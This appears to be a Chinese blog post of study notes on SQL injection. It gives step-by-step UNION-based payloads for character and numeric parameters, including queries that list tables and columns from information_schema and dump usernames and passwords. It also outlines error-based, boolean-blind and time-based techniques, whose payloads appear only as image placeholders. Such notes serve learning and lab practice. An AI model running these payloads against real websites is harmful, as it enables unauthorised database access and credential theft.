sql注入(部分)

闭合方式: ’     ”     ‘)  ”)

注释符号:--+    #     %23

union注入

字符型

1.查找注入点

2.判断数字型还是字符型  

id=1 and 1=1成功

id=1 and 1=2成功

3.判断闭合及注释方式(需要闭合!)

4.查询列(order by    group by(不易被拦截))

id=1' group by 1--+

id=1' group by 2--+

......

5.查询回显位

id=-1' union select 1,2,3--+(与前面的列要保持一致)

id=-1' union select 1,2,database()--+

id=-1' union select 1,version(),3--+

因为页面只能显示一个内容,so为了显示我们真正要查询的数据,将id=后改为0或者负数

 

6.查询表名

4a643f30c6034884a553c8c168ec4842.png

id=-1' union select 1,2 table_name from information_schema_tables where table_schema=database()--+

(其中database()可以替换成上一步查询到的数据库名)

 

7.查询列名

id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

同理database()可以替换,users为刚刚查询到的表名(一定要加单引号!!!)

或者:

id=0 union select 1,(group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),3--+

优先执行小括号

8.拿到用户名和密码

id=0 union select 1,group_concat(username,'~',password),3 from users--+

'~'只是为了区分数据,方便查看

 

数字型

1.查找注入点

2.判断数字型还是字符型  1=2   或者  做减法(尽量不用加法)

id=1 and 1=1成功

id=2 and 1=2失败

3.判断注释方式(不需要 闭合!)

4.查询列(order by    group by(不易被防火墙拦截))

id=1 group by 1--+

id=1 group by 2--+

......

5.查询回显位

id=-1 union select 1,2,3--+(与前面的列要保持一致)

id=-1 union select 1,2,database()--+

id=-1 union select 1,version(),3--+

......(除了不用闭合其他与字符型一样)

 

报错注入

url中输对了页面没反应,输错了有报错(所以咱故意输错得到数据)

0f0ee5ca9cff44fa91ef88975856dc9a.png

extractvalue报错注入

cec734c1438843658b630df0abbd327e.png

concat为拼接函数(将后面俩玩意儿拼起来)0x74是ascll编码的“~”

查表名

c26a5039156e466782823c7f9e96b614.png

查列名

21098a8e4fbb4b15a94101c33569402f.png

报错注入只能返回不过32个字符,所以使用substring

634a73e06e7f4e878a2b10aee10e5816.png

substring(12345,3,2)意思是从12345的第3个字符开始向后显示两个字符 得到34。

 

updatexml报错注入

updatexml报错注入与extractvalue非常相似

757a9bb0a1e846f580c44dbcf802dc2b.png

ae6501396b3a4f8a8b039b4969a7754b.png

其他的都差不多

 

floor报错注入

查表名

9d21e3f998ba4d1fba9fb29b80560f71.png

查列名

5a996698db8149b2b786eafaaa7a5015.png

查用户名和密码

b6136f5f6dac45e587c8c7a91277c8d6.png

使用group_concat没显示就用concat

0021c0aa469d4747bd0d0ba78ed06fef.png

rand():随机返回0~1间的小数

floor():小数向下取整

ceiling():小数向上取整

concat_ws():将括号内数据用第一个字段连接起来

group by子句:分组语句

as:别名

count():统计数量

limit:这里用于显示指定行数

 

布尔盲注

无回显无报错

判断闭合方式

669b55a285c7444887791361d8cfab8b.png

查表名

结合ASCLL码表一个字母一个字母地判断

35e239a2f4d9424386432e80020ee31f.png

查列名

结合ASCLL码表一个字母一个字母地判断

f24cc17b14d740b1b8015d22ca31016e.png

查用户名

结合ASCLL码表一个字母一个字母地判断

1a6c670839544359bf1456c504845ad9.png

limit 0,1:从第0行开始,显示1行(从0开始计数)

substr((查询的东西),n,1):从第n个字母开始,显示1个字母(从n开始计数)

 

时间注入

建立在布尔盲注的基础上

闭合符判断

114fbfcdc4714513b9efc553cf966717.png

结合ASCLL码表一个字母一个字母地判断

89acfd825ff94002a293d64cbbef09d1.png

if(a,b,d):如果a成立,则执行b,不成立执行d

3ff12ed5e6b64ef5a95e99f2c99d0beb.png

 

sql注入文件上传

c79dd33b7ff243b597ba12aa7ef35eff.png

8db590e514914f079f702cfcdfbfd6cf.png

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值